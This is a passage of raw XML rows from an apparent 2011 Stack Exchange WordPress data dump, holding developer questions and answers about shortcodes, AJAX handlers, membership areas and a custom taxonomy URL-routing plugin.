}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps this can be of some use to you. I am pretty sure you may need to use auth_redirect though. &lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-23T01:20:02.710" CommentCount="2" />
  <row Id="10149" PostTypeId="1" AcceptedAnswerId="10159" CreationDate="2011-02-23T01:20:22.453" Score="0" ViewCount="279" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://wordpress.org/extend/plugins/media-library-categories/&quot; rel=&quot;nofollow&quot;&gt;Media Library Categories&lt;/a&gt; plugin. It does not have much documentation, so I have concluded the way to implement it would be using the shortcode &lt;code&gt;[mediacategories categories=&quot;6&quot;]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to implement this directly into the theme template. So I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(function_exists(do_shortcode('[mediacategories categories=&quot;6&quot;]'))) { ?&amp;gt;&#xA;  &amp;lt;h1&amp;gt;Inspiration&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php&#xA;  do_shortcode('[mediacategories categories=&quot;6&quot;]');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to implement the function directly, but could not pass the $atts correctly for the function to use them.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-02-23T05:21:55.523" Title="How to call shortcode function directly and pass $atts" Tags="&lt;plugins&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="10150" PostTypeId="1" CreationDate="2011-02-23T01:28:40.677" Score="0" ViewCount="138" Body="&lt;p&gt;I am trying to set-up a members area on a site, I have already come up with one solution but was wondering if anyone one knows of an easier or better way to go about it. The problem is the user doesn’t log into WordPress, they are sent to a separate product for bookings and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I have accomplished this is having two separate themes the guest theme, which blocks all category posts aside from one and only has links to a couple of specific pages and the members theme has access to everything. Once a user logs into the separate product all the links link back with a theme switch using (site.com/?wptheme=memberstheme) with a one hour time limit which resets to the guest theme, thus logging them out after one hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to go about accomplishing this?? or a good plugin??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-07-23T06:26:56.610" Title="Setting up a members area" Tags="&lt;theme-options&gt;" AnswerCount="2" />
  <row Id="10151" PostTypeId="1" AcceptedAnswerId="10153" CreationDate="2011-02-23T01:31:03.463" Score="2" ViewCount="222" Body="&lt;p&gt;I have my own plugin options page, but when users hit &quot;Save&quot; button the whole page refreshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of changing my script below to something that will for example popup yellow box saying &quot;settings saved&quot; WITHOUT page refresh? So the data will be passed trough ajax call or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen something like that before, but can't recall for what plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'my_plugin_menu');&#xA;&#xA;function my_plugin_menu() {&#xA;&#xA;    add_menu_page('My Plugin Options', 'Plugin Options', 'manage_options', 'my-unique-identifier', 'my_plugin_options'); &#xA;&#xA;}&#xA;&#xA;function my_plugin_options() {&#xA;&#xA;  if (!current_user_can('manage_options'))  {&#xA;    wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;  } ?&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('update-options'); ?&amp;gt;&#xA;(...)&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;page_options&quot; value=&quot;option1,option2,option3,etc.&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-02-23T01:44:09.817" Title="wp-admin - save options without refreshing?" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;ajax&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10152" PostTypeId="2" ParentId="7090" CreationDate="2011-02-23T01:33:35.303" Score="0" ViewCount="" Body="&lt;p&gt;Depending on the post, another solution could be to use the &lt;a href=&quot;http://crowdfavorite.com/wordpress/plugins/wp-unformatted/&quot; rel=&quot;nofollow&quot;&gt;WP Unformatted&lt;/a&gt; plugin to disable the auto-p function on a per post basis.&lt;/p&gt;&#xA;" OwnerUserId="121" LastActivityDate="2011-02-23T01:33:35.303" CommentCount="2" />
  <row Id="10153" PostTypeId="2" ParentId="10151" CreationDate="2011-02-23T01:44:09.817" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://return-true.com/2010/01/using-ajax-in-your-wordpress-theme-admin/&quot; rel=&quot;nofollow&quot;&gt;Using AJAX In Your WordPress Theme Admin&lt;/a&gt; looks like it is kind of what you are talking about.&lt;/p&gt;&#xA;" OwnerUserId="654" LastActivityDate="2011-02-23T01:44:09.817" CommentCount="1" />
  <row Id="10154" PostTypeId="1" CreationDate="2011-02-23T02:36:29.737" Score="0" ViewCount="786" Body="&lt;p&gt;It can be another layer of security..&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-04-18T04:15:40.937" Title="How to move wp-admin login page to another location?" Tags="&lt;wp-admin&gt;&lt;login&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="10155" PostTypeId="1" AcceptedAnswerId="10158" CreationDate="2011-02-23T03:24:06.873" Score="2" ViewCount="401" Body="&lt;p&gt;I've been racking my brain on this. Here is a shortcode loop I've created to display a specific post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function faq_shortcode($atts, $content = NULL) {&#xA;        extract(shortcode_atts(array(&#xA;            'faq_topic' =&amp;gt; '',&#xA;            'faq_tag'   =&amp;gt; '',&#xA;            'faq_id'    =&amp;gt; '',&#xA;            'limit'     =&amp;gt; '10',&#xA;        ), $atts));&#xA;        $faq_topic = preg_replace('~&amp;amp;#x0*([0-9a-f]+);~ei', 'chr(hexdec(&quot;\\1&quot;))', $faq_topic);&#xA;        $faq_tag = preg_replace('~&amp;amp;#x0*([0-9a-f]+);~ei', 'chr(hexdec(&quot;\\1&quot;))', $faq_tag);&#xA;            $faqs = new WP_Query(array(&#xA;                'p'                 =&amp;gt; ''.$faq_id.'',&#xA;                'faq-topic'         =&amp;gt; ''.$faq_topic.'',&#xA;                'faq-tags'          =&amp;gt; ''.$faq_tag.'',&#xA;                'post_type'         =&amp;gt;  'question',&#xA;                'posts_per_page'    =&amp;gt;  ''.$limit.'',&#xA;                'orderby'           =&amp;gt;  'menu_order',&#xA;                'order'             =&amp;gt;  'ASC'&#xA;                ));&#xA;            $displayfaq= '&amp;lt;div class=&quot;faq_list&quot;&amp;gt;';&#xA;                while ($faqs-&amp;gt;have_posts()) : $faqs-&amp;gt;the_post();&#xA;                $displayfaq .= '&amp;lt;div class=&quot;single_faq&quot;&amp;gt;';&#xA;                $displayfaq .= '&amp;lt;h3 class=&quot;faq_question&quot;&amp;gt;'.get_the_title().'&amp;lt;/h3&amp;gt;';&#xA;                $displayfaq .= '&amp;lt;p class=&quot;faq_answer&quot;&amp;gt;'.get_the_content().'&amp;lt;/p&amp;gt;';&#xA;                $displayfaq .= '&amp;lt;/div&amp;gt;';&#xA;                endwhile;&#xA;            wp_reset_query();&#xA;            $displayfaq .= '&amp;lt;/div&amp;gt;';&#xA;        return $displayfaq;&#xA;        }&#xA;&#xA;add_shortcode('faq','faq_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within one of those loops there is a post that has a shortcode being used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function emailbot_ssc($atts, $content = null) {&#xA;        extract( shortcode_atts( array(&#xA;        'address' =&amp;gt; '',&#xA;            ), $atts ) );&#xA;        ob_start();&#xA;        echo '&amp;lt;a href=&quot;mailto:'.antispambot($atts['address']).'&quot; title=&quot;email us&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&amp;gt;'.$atts['address'].'&amp;lt;/a&amp;gt;';&#xA;        $email_ssc = ob_get_clean();&#xA;        return $email_ssc;&#xA;        }&#xA;add_shortcode(&quot;email&quot;, &quot;emailbot_ssc&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the FAQ loop (code item #1) isn't parsing the shortcode. It just displays it raw. &lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-02-23T03:37:01.263" Title="Post loop created via shortcode not displaying shortcode in content" Tags="&lt;shortcode&gt;&lt;get-the-content&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="10156" PostTypeId="2" ParentId="10154" CreationDate="2011-02-23T03:34:09.100" Score="0" ViewCount="" Body="&lt;p&gt;You could try editing the &lt;code&gt;.htaccess&lt;/code&gt; and perform a redirect to another path of your convenience. &lt;/p&gt;&#xA;" OwnerUserId="3414" LastActivityDate="2011-02-23T03:34:09.100" CommentCount="4" />
  <row Id="10157" PostTypeId="2" ParentId="10038" CreationDate="2011-02-23T03:35:21.287" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; is not allowed inside &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;. That’s why does not and should not expect it there. And &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; will cause problems in our feed because it will either stripped by feedreaders or clash with other scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_style()&lt;/code&gt;&lt;/a&gt; to add stylesheets and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script&lt;/code&gt;&lt;/a&gt; for JavaScript.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-23T03:35:21.287" CommentCount="3" />
  <row Id="10158" PostTypeId="2" ParentId="10155" CreationDate="2011-02-23T03:37:01.263" Score="5" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_the_content()&lt;/code&gt; does not have the &lt;code&gt;the_content&lt;/code&gt; filters applied to it, which is where &lt;code&gt;do_shortcode()&lt;/code&gt; is hooked in. Those filters are only applied in &lt;code&gt;the_content()&lt;/code&gt;. Those two functions are not simply get/echo versions of each other. &lt;code&gt;get_the_content()&lt;/code&gt; is lower level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an anomaly in the API, and is that way for historical reasons. For instance, &lt;code&gt;get_the_title()&lt;/code&gt; applies the &lt;code&gt;the_title&lt;/code&gt; filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the whole &lt;code&gt;the_content&lt;/code&gt; filter stack applied, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters( 'the_content', get_the_content() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;only&lt;/em&gt; want shortcodes applied, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_shortcode( get_the_content() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3413" LastActivityDate="2011-02-23T03:37:01.263" CommentCount="3" />
  <row Id="10159" PostTypeId="2" ParentId="10149" CreationDate="2011-02-23T03:45:59.387" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;do_shortcode()&lt;/code&gt; just parses the string. You have to use &lt;code&gt;echo&lt;/code&gt; or &lt;code&gt;print&lt;/code&gt; to print it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;function_exists()&lt;/code&gt; expects a string that matches a function name. After looking at the plugin, I would try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( function_exists( 'mediacategories_func' ) )&#xA;{&#xA;?&amp;gt;&#xA;&amp;lt;h1&amp;gt;Inspiration&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php&#xA;    print mediacategories_func( array( 'categories' =&amp;gt; 6 ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-23T03:45:59.387" />
  <row Id="10160" PostTypeId="2" ParentId="3159" CreationDate="2011-02-23T03:57:58.153" Score="0" ViewCount="" Body="&lt;p&gt;&quot;Shopp&quot; ... &lt;a href=&quot;http://shopplugin.net/&quot; rel=&quot;nofollow&quot;&gt;http://shopplugin.net/&lt;/a&gt; .. look at the documentation and see it as a developers dream (in comparisson to wp-ecommerce)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-23T03:57:58.153" CommentCount="1" />
  <row Id="10161" PostTypeId="1" CreationDate="2011-02-23T04:28:58.537" Score="0" ViewCount="123" Body="&lt;p&gt;I have a small script within theme's &lt;code&gt;functions.php&lt;/code&gt; file that uses ajax, principle like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head', 'rw_script');&#xA;function rw_script() {&#xA;    echo '&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        // delete image&#xA;        $(&quot;.delete_image&quot;).click(function(){&#xA;            var data = $(this).attr(&quot;rel&quot;);&#xA;            $.post(&#xA;                ajaxurl,&#xA;                {action: \'rw_delete_image\', data: data}, function(response){&#xA;                    alert(response); // debug&#xA;                }&#xA;            );&#xA;&#xA;            return false;&#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;';&#xA;}&#xA;function delete_image() {&#xA;    if (isset($_POST['attach_id'])) wp_delete_attachment($_POST['attach_id']);&#xA;        die();&#xA;}&#xA;add_action('wp_ajax_rw_delete_image', 'delete_image');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine. But when I turned it into OOP, the ajax doens't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RW_Test {&#xA;    function __construct() {&#xA;        add_action('admin_head', array(&amp;amp;$this, 'rw_script'));&#xA;        add_action('wp_ajax_rw_delete_image', array(&amp;amp;$this, 'delete_image'));&#xA;    }&#xA;    function rw_script() {&#xA;        echo '&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            // delete image&#xA;            $(&quot;.delete_image&quot;).click(function(){&#xA;                var data = $(this).attr(&quot;rel&quot;);&#xA;                $.post(&#xA;                    ajaxurl,&#xA;                    {action: \'rw_delete_image\', data: data}, function(response){&#xA;                        alert(response); // debug&#xA;                    }&#xA;                );&#xA;&#xA;                return false;&#xA;            });&#xA;        });&#xA;        &amp;lt;/script&amp;gt;';&#xA;    }&#xA;    function delete_image() {&#xA;        if (isset($_POST['attach_id'])) wp_delete_attachment($_POST['attach_id']);&#xA;            die();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The javascript works fine, i.e when I click on delete links, data is sent properly. But the action for deleting image isn't fired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how to solve this? Please help me. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-05-13T22:31:59.010" Title="Ajax with OOP doesn't work" Tags="&lt;ajax&gt;&lt;oop&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="10162" PostTypeId="2" ParentId="9419" CreationDate="2011-02-23T04:40:28.477" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@One Trick Pony:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;URL Design&lt;/em&gt; has been important to be for well over a decade; I even &lt;a href=&quot;http://blog.welldesignedurls.org&quot; rel=&quot;nofollow&quot;&gt;wrote a blog about it&lt;/a&gt; several years back. And while WordPress is sum is a brilliant bit of software  &lt;strong&gt;unfortunately&lt;/strong&gt; it's URL rewrite system is just short of brain dead &lt;em&gt;(IMHO, of course. :)&lt;/em&gt; Anyway, glad to see people caring about URL design! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer I'm going to provide is a plugin I'm calling &lt;code&gt;WP_Extended&lt;/code&gt; that is a proof of concept for &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12935&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this proposal on Trac&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(Note that proposal started as one thing and evolved into another, so you have to read the entire thing to see where it was headed.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the idea is to subclass the &lt;code&gt;WP&lt;/code&gt; class, override the &lt;code&gt;parse_request()&lt;/code&gt; method, and then assign the global &lt;code&gt;$wp&lt;/code&gt; variable with an instance of the subclass. Then within &lt;code&gt;parse_request()&lt;/code&gt; you actually inspect the path &lt;strong&gt;&lt;em&gt;by path segment&lt;/em&gt;&lt;/strong&gt; instead of using a list of regular expressions that must match the URL in their entirety. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to state it explicitly, this technique inserts logic in front of the &lt;code&gt;parse_request()&lt;/code&gt; which checks for URL-to-RegEx matches and instead first looks for taxonomy term matches, but it &lt;em&gt;ONLY&lt;/em&gt; replaces &lt;code&gt;parse_request()&lt;/code&gt; and leaves the entire rest of the WordPress URL routing system intact including and especially the use of the &lt;code&gt;$query_vars&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your use-case this implementation &lt;strong&gt;&lt;em&gt;only&lt;/em&gt;&lt;/strong&gt; compares URL path segments with taxonomy terms since that's all you need. This implementation inspects taxonomy terms respecting parent-child term relationships and when it finds a match it assigns the URL path &lt;em&gt;(minus leading and trailing slashes)&lt;/em&gt; to &lt;code&gt;$wp-&amp;gt;query_vars['category_name']&lt;/code&gt;, &lt;code&gt;$wp-&amp;gt;query_vars['tag']&lt;/code&gt; or &lt;code&gt;$wp-&amp;gt;query_vars['taxonomy']&lt;/code&gt; &amp;amp; &lt;code&gt;$wp-&amp;gt;query_vars['term']&lt;/code&gt; and it bypasses the &lt;code&gt;parse_request()&lt;/code&gt; method of the &lt;code&gt;WP&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand if the URL path &lt;em&gt;does not match&lt;/em&gt; a term from a taxonomy you've specified it delegates URL routing logic to the WordPress rewrite system by calling the &lt;code&gt;parse_request()&lt;/code&gt; method of the &lt;code&gt;WP&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use &lt;code&gt;WP_Extended&lt;/code&gt; for your use-case you'll need to call the &lt;code&gt;register_url_route()&lt;/code&gt; function from within your theme's &lt;code&gt;functions.php&lt;/code&gt; file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','init_forum_url_route');&#xA;function init_forum_url_route() {&#xA;  register_url_route(array('taxonomy'=&amp;gt;'forum'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What here is the source code for the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Filename: wp-extended.php&#xA;Plugin Name: WP Extended for Taxonomy URL Routes&#xA;Author: Mike Schinkel&#xA;*/&#xA;function register_url_route($args=array()) {&#xA;  if (isset($args['taxonomy']))&#xA;    WP_Extended::register_taxonomy_url($args['taxonomy']);&#xA;}&#xA;class WP_Extended extends WP {&#xA;  static $taxonomies = array();&#xA;  static function on_load() {&#xA;    add_action('setup_theme',array(__CLASS__,'setup_theme'));&#xA;  }&#xA;  static function register_taxonomy_url($taxonomy) {&#xA;    self::$taxonomies[$taxonomy] = get_taxonomy($taxonomy);&#xA;  }&#xA;  static function setup_theme() { // Setup theme is 1st code run after WP is created.&#xA;    global $wp;&#xA;    $wp = new WP_Extended();  // Replace the global $wp&#xA;  }&#xA;  function parse_request($extra_query_vars = '') {&#xA;    $path = $_SERVER['REQUEST_URI'];&#xA;    $domain = str_replace('.','\.',$_SERVER['SERVER_NAME']);&#xA;    //$root_path = preg_replace(&quot;#^https?://{$domain}(/.*)$#&quot;,'$1',WP_SITEURL);&#xA;$root_path = $_SERVER['HTTP_HOST'];&#xA;&#xA;    if (substr($path,0,strlen($root_path))==$root_path)&#xA;      $path = substr($path,strlen($root_path));&#xA;    list($path) = explode('?',$path);&#xA;    $path_segments = explode('/',trim($path,'/'));&#xA;    $taxonomy_term = array();&#xA;    $parent_id = 0;&#xA;    foreach(self::$taxonomies as $taxonomy_slug =&amp;gt; $taxonomy) {&#xA;      $terms = get_terms($taxonomy_slug);&#xA;      foreach($path_segments as $segment_index =&amp;gt; $path_segment) {&#xA;        foreach($terms as $term_index =&amp;gt; $term) {&#xA;          if ($term-&amp;gt;slug==$path_segments[$segment_index]) {&#xA;            if ($term-&amp;gt;parent!=$parent_id) { // Make sure we test parents&#xA;              $taxonomy_term = array();&#xA;            } else {&#xA;              $parent_id = $term-&amp;gt;term_id; // Capture parent ID for verification&#xA;              $taxonomy_term[] = $term-&amp;gt;slug; // Collect slug as path segment&#xA;              unset($terms[$term_index]); // No need to scan it again&#xA;            }&#xA;            break;&#xA;          }&#xA;        }&#xA;      }&#xA;      if (count($taxonomy_term))&#xA;        break;&#xA;    }&#xA;    if (count($taxonomy_term)) {&#xA;      $path = implode('/',$taxonomy_term);&#xA;      switch ($taxonomy_slug) {&#xA;        case 'category':&#xA;          $this-&amp;gt;query_vars['category_name'] = $path;&#xA;          break;&#xA;        case 'post_tag':&#xA;          $this-&amp;gt;query_vars['tag'] = $path;&#xA;          break;&#xA;        default:&#xA;          $this-&amp;gt;query_vars['taxonomy'] = $taxonomy_slug;&#xA;          $this-&amp;gt;query_vars['term'] = $path;&#xA;          break;&#xA;      }&#xA;    } else {&#xA;      parent::parse_request($extra_query_vars); // Delegate to WP class&#xA;    }&#xA;  }&#xA;}&#xA;WP_Extended::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;P.S. CAVEAT #1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Although for a given site I think this technique works brilliantly but &lt;strong&gt;this technique should NEVER be used for a plugin to be distributed on WordPress.org for others to use&lt;/strong&gt;. If it is at the core of a software package based on WordPress then that might be okay. Otherwise this technique should be limited to improving the URL routing &lt;strong&gt;for a specific site&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Because &lt;strong&gt;only one plugin can use this technique&lt;/strong&gt;. If two plugins try to use it they will conflict with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;As an aside this strategy can be expanded to generically handle practically every use-case pattern that could be required and that's what I intend to implement as soon as I either find the spare time or a client who can sponsor the time that it would take to build fully generic implementations.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;CAVEAT #2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I wrote this to override &lt;code&gt;parse_request()&lt;/code&gt; which is a very large function, and it is quite possible that I missed a property or two of the global &lt;code&gt;$wp&lt;/code&gt; object that I should have set.. So if something acts wonky let me know and I'll be happy to research it and revise the answer if need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. &lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-03T11:00:36.383" LastActivityDate="2011-03-03T11:00:36.383" CommentCount="21" />
  <row Id="10163" PostTypeId="2" ParentId="10161" CreationDate="2011-02-23T04:45:53.090" Score="1" ViewCount="" Body="&lt;p&gt;You need to create a new instance of the class so that your constructor is called and your actions are registered. e.g. you need to add something like &lt;code&gt;$test = new PR_Test;&lt;/code&gt; below the definition of PR_Test.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2011-02-23T04:45:53.090" CommentCount="1" />
  <row Id="10164" PostTypeId="2" ParentId="10099" CreationDate="2011-02-23T04:51:42.107" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Kelvin Jayanoris:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason why you can't just test for the value of &lt;code&gt;$post-&amp;gt;post_type&lt;/code&gt; with an &lt;code&gt;if..elseif&lt;/code&gt; statement within your &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Loop&lt;/strong&gt;&lt;/a&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($post-&amp;gt;post_type=='foo'): ?&amp;gt;&#xA;&#xA;   Put HTML for 'foo' post type here...&#xA;&#xA;&amp;lt;?php else if ($post-&amp;gt;post_type=='bar'): ?&amp;gt;&#xA;&#xA;   Put HTML for 'bar' post type here...&#xA;&#xA;&amp;lt;?php else if ($post-&amp;gt;post_type=='post'): ?&amp;gt;&#xA;&#xA;   Put HTML for 'post' post type here...&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if there a reason you can't create your own template filename hierarchy in the form of filenames like &lt;code&gt;post-foo.php&lt;/code&gt;, &lt;code&gt;post-foo.php&lt;/code&gt;, &lt;code&gt;post-post.php&lt;/code&gt;, also within your Loop? &#xA;This one like of code could do that for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include(&quot;post-{$post-&amp;gt;post_type}.php&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-23T04:51:42.107" />
  <row Id="10165" PostTypeId="1" AcceptedAnswerId="10170" CreationDate="2011-02-23T05:01:54.167" Score="1" ViewCount="67" Body="&lt;p&gt;On lines 4-6, I've inserted three conditional statements to determine which post type the post is in so I can insert a span which I will use to insert an image. The way I wrote it isn't working. What statement would I need to use? And is there a simpler way to set this up?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;section id=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;article class=&quot;search-post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php if (is_singular('projects')) {echo'&amp;lt;span class=&quot;search-projects&quot;&amp;gt;&amp;lt;/span&amp;gt;';} ?&amp;gt;&#xA;            &amp;lt;?php if (is_singular('videos')) {echo'&amp;lt;span class=&quot;search-videos&quot;&amp;gt;&amp;lt;/span&amp;gt;';} ?&amp;gt;&#xA;            &amp;lt;?php if (is_singular('friends')) {echo'&amp;lt;span class=&quot;search-friends&quot;&amp;gt;&amp;lt;/span&amp;gt;';} ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;section class=&quot;search-entry&quot;&amp;gt;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;        &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;        &amp;lt;?php my_paginate_links(); ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For categories, I usually use &lt;code&gt;in_category&lt;/code&gt;. Is there something like an &lt;code&gt;in_post_type&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="3239" LastEditorDisplayName="" LastEditDate="2011-02-23T05:09:21.910" LastActivityDate="2011-02-23T05:10:26.707" Title="display span element if in certain post types" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="10166" PostTypeId="2" ParentId="10150" CreationDate="2011-02-23T05:02:02.733" Score="0" ViewCount="" Body="&lt;p&gt;I think you could try to use &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;buddypress&lt;/a&gt; an excellent plugin to perform a community with your wordpress. &lt;/p&gt;&#xA;" OwnerUserId="3414" LastActivityDate="2011-02-23T05:02:02.733" />
